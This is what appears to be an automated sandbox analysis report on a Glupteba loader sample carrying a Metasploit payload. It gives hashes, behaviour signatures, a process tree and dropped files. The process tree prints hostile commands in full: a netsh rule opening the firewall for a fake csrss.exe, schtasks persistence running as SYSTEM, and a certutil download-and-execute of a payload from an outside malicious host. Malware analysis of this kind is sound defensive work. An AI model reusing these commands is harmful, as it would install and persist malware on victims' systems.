Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2024 17:03

General

  • Target

    f2ba69063b3000afa096f8ddd5ccb822_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    f2ba69063b3000afa096f8ddd5ccb822

  • SHA1

    c286534d1c101d72fc78567061b0abf688140e7d

  • SHA256

    f6ee3c70e54e3bb3a47a650895914d0d8b6bd52824c8aebb359a96e934d75250

  • SHA512

    f3a2b133244c2a4e54e288d23419d8c89b5bbae09727e2a58702746baff29bdc457842b2150189d0dcb50ac87ed22b98bd86252c59a949882a32ae1ffcf3a1bc

  • SSDEEP

    98304:zhM95DKGeMka0xoaaay8CPBbK6E6C27J0fJDPmlPdIa:zhMnOMdKTp2lK6Elml6

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f2ba69063b3000afa096f8ddd5ccb822_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f2ba69063b3000afa096f8ddd5ccb822_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3476
    • C:\Users\Admin\AppData\Local\Temp\f2ba69063b3000afa096f8ddd5ccb822_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\f2ba69063b3000afa096f8ddd5ccb822_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:932
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2576
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4056
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2256
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:456
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3688
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1840 -s 608
        3⤵
        • Program crash
        PID:4392
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 884
      2⤵
      • Program crash
      PID:4536
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3476 -ip 3476
    1⤵
      PID:3740
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4124,i,9445584274764997943,12714240264001792460,262144 --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:8
      1⤵
        PID:3340
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1840 -ip 1840
        1⤵
          PID:4548

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

          Filesize

          1.7MB

          MD5

          13aaafe14eb60d6a718230e82c671d57

          SHA1

          e039dd924d12f264521b8e689426fb7ca95a0a7b

          SHA256

          f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

          SHA512

          ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

        • C:\Windows\rss\csrss.exe

          Filesize

          3.8MB

          MD5

          f2ba69063b3000afa096f8ddd5ccb822

          SHA1

          c286534d1c101d72fc78567061b0abf688140e7d

          SHA256

          f6ee3c70e54e3bb3a47a650895914d0d8b6bd52824c8aebb359a96e934d75250

          SHA512

          f3a2b133244c2a4e54e288d23419d8c89b5bbae09727e2a58702746baff29bdc457842b2150189d0dcb50ac87ed22b98bd86252c59a949882a32ae1ffcf3a1bc

        • memory/1840-8-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/1840-15-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/1840-9-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-21-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-27-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-33-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-32-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-31-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-30-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-20-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-29-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-22-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-23-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-24-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-25-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-26-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/2576-28-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/3476-4-0x0000000000400000-0x0000000000C65000-memory.dmp

          Filesize

          8.4MB

        • memory/3476-1-0x0000000001350000-0x0000000001703000-memory.dmp

          Filesize

          3.7MB

        • memory/3476-2-0x0000000001710000-0x0000000001F14000-memory.dmp

          Filesize

          8.0MB

        • memory/3476-3-0x0000000000400000-0x0000000000C1D000-memory.dmp

          Filesize

          8.1MB

        • memory/3476-5-0x0000000001710000-0x0000000001F14000-memory.dmp

          Filesize

          8.0MB

        • memory/3476-6-0x0000000000400000-0x0000000000C1D000-memory.dmp

          Filesize

          8.1MB